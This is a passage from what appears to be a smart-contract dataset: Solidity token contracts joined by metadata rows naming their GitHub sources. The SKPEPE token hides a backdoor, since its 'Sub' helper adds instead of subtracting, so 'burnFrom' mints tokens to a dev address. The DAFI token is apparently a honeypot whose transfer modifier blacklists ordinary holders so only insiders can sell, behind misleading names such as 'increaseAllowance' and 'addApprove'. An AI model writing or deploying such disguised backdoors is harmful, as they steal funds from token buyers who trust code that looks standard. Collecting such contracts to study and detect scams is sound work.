(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 194,241 | 654 |
e8f0c1f37eda44d3d0a8c66d860359039c1665314300787bce082e749c6dfce1
| 19,741 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/e5/e52cbc8f92f6c303b856d99dfdf193876068cc77_SKPEPE.sol
| 3,237 | 11,041 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SKPEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 30,388 | 655 |
0402cee24c042c1f8dea99c22fab7e7df02a30daf6c9886bc06d3a1a5fc5a80b
| 29,227 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/DAFI-0xc93a8c297cd525038cb8adfc54ee10a097a55193.sol
| 3,395 | 12,609 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DAFI is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 181,507 | 656 |
c62d04d7c5621dcfcaee61b1e573c96a285bb3ea3428497592a81a95bf4cdc22
| 32,723 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/bb/bbfad2112ba0fe532adfc08444032c6bbcb66f1c_DAOVoting.sol
| 5,854 | 21,068 |
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: MIT
interface IBEP20Upgradeable {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMathUpgradeable {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
contract OwnableUpgradeable is Initializable,ContextUpgradeable {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
// function setOwner(address ownerTemp) public {
// _owner = ownerTemp;
// }
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
uint256[50] private __gap;
}
contract DAOUpgradeable is ContextUpgradeable, IBEP20Upgradeable, OwnableUpgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
uint256 public PROFIT_PER_SHARE;
address public PROFIT_TOKEN;
uint256 public lastUpdatedProfit;
mapping (address => uint256) SHARE_ON_CREATED;
uint256 public totalBlockedAmount;
function getOwner() external override view returns (address) {
return owner();
}
function decimals() external override view returns (uint8) {
return _decimals;
}
function symbol() external override view returns (string memory) {
return _symbol;
}
function name() external override view returns (string memory) {
return _name;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function shareOnCreated(address account) public view returns (uint256) {
return SHARE_ON_CREATED[account];
}
function getProfitSharePerUser(address account) public view returns (uint256) {
return PROFIT_PER_SHARE.sub(SHARE_ON_CREATED[account]);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if(_balances[recipient] == 0) { SHARE_ON_CREATED[recipient] = PROFIT_PER_SHARE; }
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if(_balances[sender] == 0) { SHARE_ON_CREATED[sender] = PROFIT_PER_SHARE; }
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
function getEqualientToken(uint256 _tokenIn,uint256 _tokenOut,uint256 _amount) public pure returns (uint256){
// if(_tokenIn > _tokenOut){
return _amount.mul(uint256(1)).div((10**(_tokenIn).sub(_tokenOut)));
// }else if(_tokenIn < _tokenOut){
// return _amount.mul(uint256(1)).mul((10**(_tokenIn).sub(_tokenOut)));
// }
// else{
// return _amount;
// }
}
function deposit(uint256 _amount) public {
// transfer profit tokens and update PROFIT_PER_SHARE
IBEP20Upgradeable(PROFIT_TOKEN).transferFrom(address(msg.sender), address(this), _amount);
uint256 totalSupplys = totalSupply().sub(totalBlockedAmount);
uint256 convertedAmount = IBEP20Upgradeable(PROFIT_TOKEN).decimals() != _decimals ? getEqualientToken(IBEP20Upgradeable(PROFIT_TOKEN).decimals(),_decimals,_amount) : _amount;
uint256 perShare = (convertedAmount.mul(1e12)).div(totalSupplys);
PROFIT_PER_SHARE = PROFIT_PER_SHARE + perShare; // it is maintain in neos decimals i.e 6
lastUpdatedProfit = block.timestamp;
}
function setProfitToken(address _token) public onlyOwner{
PROFIT_TOKEN = _token;
}
uint256[49] private __gap;
}
contract DAOVoting is OwnableUpgradeable, DAOUpgradeable {
using SafeMathUpgradeable for uint256;
struct Proposal{
string title;
string description;
address createdBy;
uint256 createdOn;
bool isActive;
bool status;
bool isApproved;
uint256 upVote;
uint256 downVote;
uint256 lastUpdated;
}
struct Vote{
bool isVoted;
bool vote;
uint256 VotedOn;
}
struct User{
uint256 lastRewardedAmount;
uint256 lastClaimed;
}
// struct Histoy{
// }
struct Blocklist{
bool isBlocked;
uint256 id;
}
mapping(address => mapping(uint256 => Vote)) public votes;
mapping(address => User) public userInfo;
uint256 public PROPOSING_RIGHTS;
uint256 public VOTING_RIGHTS;
Proposal[] public _proposals;
